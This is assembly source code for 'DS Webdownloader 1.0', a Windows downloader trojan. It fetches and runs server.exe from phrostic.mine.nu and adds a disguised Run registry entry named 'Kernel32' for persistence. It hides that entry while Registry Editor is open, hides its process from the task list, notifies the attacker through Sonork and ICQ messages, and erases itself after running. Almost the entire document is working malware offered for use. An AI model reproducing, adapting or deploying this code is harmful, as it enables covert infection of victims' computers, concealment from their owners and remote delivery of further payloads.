;DS Webdownloader 1.0 Source ;Released by trooper ;food@toast.com .386 .MODEL FLAT, STDCALL OPTION CASEMAP:NONE ;#########################################################; INCLUDE \masm32\include\windows.inc INCLUDE \masm32\include\kernel32.inc INCLUDELIB \masm32\lib\kernel32.lib INCLUDE \masm32\include\user32.inc INCLUDELIB \masm32\lib\user32.lib INCLUDE \masm32\include\wininet.inc INCLUDELIB \masm32\lib\wininet.lib INCLUDE \masm32\include\shell32.inc INCLUDELIB \masm32\lib\shell32.lib INCLUDE \masm32\include\wsock32.inc INCLUDELIB \masm32\lib\wsock32.lib INCLUDE \masm32\include\advapi32.inc INCLUDELIB \masm32\lib\advapi32.lib ;#########################################################; Download PROTO :DWORD,:DWORD RegKey PROTO :DWORD IsOnline PROTO HideReg PROTO HideCAD PROTO MeltServer PROTO Notify_Sonork PROTO :DWORD,:DWORD,:DWORD Notify_ICQ PROTO :DWORD,:DWORD,:DWORD ;#########################################################; .DATA lpszHTTP DB "http://phrostic.mine.nu/server.exe",128 DUP(0),0 lpszFILE DB "C:\windows\system\file.exe",128 DUP(0),0 lpszFILE2 DB "C:\windows\system\file2.exe",128 DUP(0),0 lpszUID DB "100.9724",4 DUP(0),0 lpszICQ DB "111271017",5 DUP(0),0 ;#########################################################; .DATA? lpszPath DB 256 DUP(?) ;#########################################################; .CODE START: INVOKE HideCAD INVOKE GetModuleFileName, 0, ADDR lpszPath, 255 INVOKE CopyFile, ADDR lpszPath, ADDR lpszFILE2, 0 INVOKE CreateThread, 0, 0, ADDR HideReg, 0, 0, 0 INVOKE CloseHandle, EAX INVOKE IsOnline ;#########################################################; Download PROC sz1:DWORD, sz2:DWORD LOCAL h4:DWORD LOCAL h5:DWORD LOCAL h6:DWORD LOCAL lp7[1024]:BYTE LOCAL h8:DWORD LOCAL h9:DWORD JMP @F sz3 DB "Mozilla/6.0 (compatible; MSIE 6.0; Windows XP)",0 @@: INVOKE InternetOpen, ADDR sz3, 0, 0, 0, 0 CMP EAX, 0 JZ done MOV h4, EAX INVOKE InternetOpenUrl, h4, sz1, 0, 0, 0, 0 CMP EAX, 0 JZ done MOV h5, EAX INVOKE CreateFile, sz2, 40000000h, 1h, 0, 2h, 2h, 0 MOV h6, EAX .REPEAT INVOKE InternetReadFile, h5, ADDR lp7, SIZEOF lp7, ADDR h8 CMP EAX, 0 JZ done INVOKE WriteFile, h6, ADDR lp7, SIZEOF lp7, ADDR h9, 0 .UNTIL h8==0 INVOKE CloseHandle, h6 INVOKE InternetCloseHandle, h5 CMP EAX, 0 JZ done INVOKE InternetCloseHandle, h4 XOR EAX, EAX INC EAX RET done: XOR EAX, EAX RET Download ENDP ;#########################################################; RegKey PROC action:DWORD LOCAL hReg:DWORD JMP @F szKey1 DB "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0 szKey2 DB "Kernel32",0 @@: INVOKE RegOpenKeyEx, 80000002h, ADDR szKey1, 0, 00020006h, ADDR hReg .IF action==1 INVOKE lstrlen, ADDR lpszPath INVOKE RegSetValueEx, hReg, ADDR szKey2, 0, 1, ADDR lpszFILE2, EAX .ELSE INVOKE RegDeleteValue, hReg, ADDR szKey2 .ENDIF INVOKE RegCloseKey, hReg RET RegKey ENDP ;#########################################################; IsOnline PROC LOCAL WSAData:WSADATA LOCAL dwTrys:DWORD @@: INVOKE Sleep, 1000 INVOKE InternetGetConnectedState, 0, 0 CMP EAX, -1 JE @B MOV dwTrys, 0 download: CMP dwTrys, 5 JE error INVOKE Download, ADDR lpszHTTP, ADDR lpszFILE CMP EAX, 1 JE done INC dwTrys INVOKE Sleep, 10000 JMP download done: INVOKE WSAStartup, 101h, ADDR WSAData INVOKE ShellExecute, 0, 0, ADDR lpszFILE, 0, 0, 0 INVOKE Notify_Sonork, ADDR lpszUID, ADDR lpszFILE, 0 INVOKE RegKey, 0 INVOKE WSACleanup INVOKE MeltServer INVOKE ExitProcess, 0 RET error: INVOKE WSAStartup, 101h, ADDR WSAData INVOKE Notify_Sonork, ADDR lpszUID, ADDR lpszFILE, 1 INVOKE WSACleanup INVOKE ExitProcess, 0 RET IsOnline ENDP ;#########################################################; HideReg PROC JMP @F szClass DB "RegEdit_RegEdit",0 szCap DB "Registry Editor",0 @@: INVOKE FindWindow, ADDR szClass, ADDR szCap .IF EAX!=0 INVOKE RegKey, 0 .ELSE INVOKE RegKey, 1 .ENDIF INVOKE Sleep, 128 JMP @B HideReg ENDP ;#########################################################; HideCAD PROC JMP @F lpszLib DB "kernel32.dll",0 lpszFunc DB "RegisterServiceProcess",0 @@: INVOKE GetModuleHandle, ADDR lpszLib INVOKE GetProcAddress, EAX, ADDR lpszFunc CMP EAX, 0 JZ done PUSH 1 PUSH 0 CALL EAX done: RET HideCAD ENDP ;#########################################################; MeltServer PROC JMP @F lpszMelt DB "C:\Command.com /C Choice.com /C:YN /N /T:Y,3|erase ",0 @@: INVOKE GetShortPathName, ADDR lpszPath, ADDR lpszPath, 255 INVOKE lstrcat, ADDR lpszMelt, ADDR lpszPath INVOKE WinExec, ADDR lpszMelt, 0 RET MeltServer ENDP ;#########################################################; Notify_Sonork PROC lpszUID2:DWORD, lpszFile:DWORD, dwError:DWORD LOCAL lpNotify:sockaddr_in LOCAL dwNotify[1024]:BYTE LOCAL hNotify:DWORD JMP @F lpszAddr DB "server.sonork.com",0 lpszStr3 DB "GET /cmd/sndmsg?uid1=%s&pin1=0&fmt=DS+WebDownloader+1.01\r\n\r\n%s+was+downloaded+sucessfully. HTTP/1.0",13,10,13,10,13,10,0 lpszStr4 DB "GET /cmd/sndmsg?uid1=%s&pin1=0&fmt=DS+WebDownloader+1.01\r\n\r\n%s+was+downloaded+unsucessfully. HTTP/1.0",13,10,13,10,13,10,0 @@: INVOKE socket, 2, 1, 0 CMP EAX, 0 JZ error MOV hNotify, EAX MOV lpNotify.sin_family, 2 INVOKE htons, 1506 MOV lpNotify.sin_port, AX INVOKE gethostbyname, ADDR lpszAddr MOV EAX, [EAX+12] MOV EAX, [EAX] MOV EAX, [EAX] MOV lpNotify.sin_addr, EAX INVOKE connect, hNotify, ADDR lpNotify, SIZEOF lpNotify CMP EAX, -1 JE error CMP dwError, 0 JZ noerror INVOKE wsprintf, ADDR dwNotify, ADDR lpszStr4, lpszUID2, lpszFile JMP sendit noerror: INVOKE wsprintf, ADDR dwNotify, ADDR lpszStr3, lpszUID2, lpszFile sendit: INVOKE send, hNotify, ADDR dwNotify, EAX, 0 CMP EAX, -1 JE error XOR EAX, EAX INVOKE closesocket, hNotify RET error: INVOKE closesocket, hNotify INVOKE Sleep, 512 JMP @B Notify_Sonork ENDP ;#########################################################; Notify_ICQ PROC lpszUIN:DWORD, lpszFile:DWORD, dwError:DWORD LOCAL lpNotify:sockaddr_in LOCAL dwNotify[1024]:BYTE LOCAL hNotify:DWORD JMP @F lpszAddy DB "wwp.icq.com",0 lpszStr DB "GET /scripts/WWPMsg.dll?from=Diablo&fromemail=phrostic@hotmail.com&subject=DS+WebDL+1.01&body=%s+downloaded successfully.&to=%s HTTP/1.0",13,10,13,10,13,10,0 lpszStr2 DB "GET /scripts/WWPMsg.dll?from=Diablo&fromemail=phrostic@hotmail.com&subject=DS+WebDL+1.01&body=%s+downloaded unsuccessfully.&to=%s HTTP/1.0",13,10,13,10,13,10,0 @@: INVOKE socket, 2, 1, 0 CMP EAX, 0 JZ error MOV hNotify, EAX MOV lpNotify.sin_family, 2 INVOKE htons, 80 MOV lpNotify.sin_port, AX INVOKE gethostbyname, ADDR lpszAddy MOV EAX, [EAX+12] MOV EAX, [EAX] MOV EAX, [EAX] MOV lpNotify.sin_addr, EAX INVOKE connect, hNotify, ADDR lpNotify, SIZEOF lpNotify CMP EAX, -1 JE error CMP dwError, 0 JZ noerror INVOKE wsprintf, ADDR dwNotify, ADDR lpszStr2, lpszFile, lpszUIN JMP sendit noerror: INVOKE wsprintf, ADDR dwNotify, ADDR lpszStr, lpszFile, lpszUIN sendit: INVOKE send, hNotify, ADDR dwNotify, EAX, 0 CMP EAX, -1 JE error INVOKE closesocket, hNotify RET error: INVOKE closesocket, hNotify INVOKE Sleep, 1024 JMP @B Notify_ICQ ENDP ;#########################################################; END START ;#########################################################;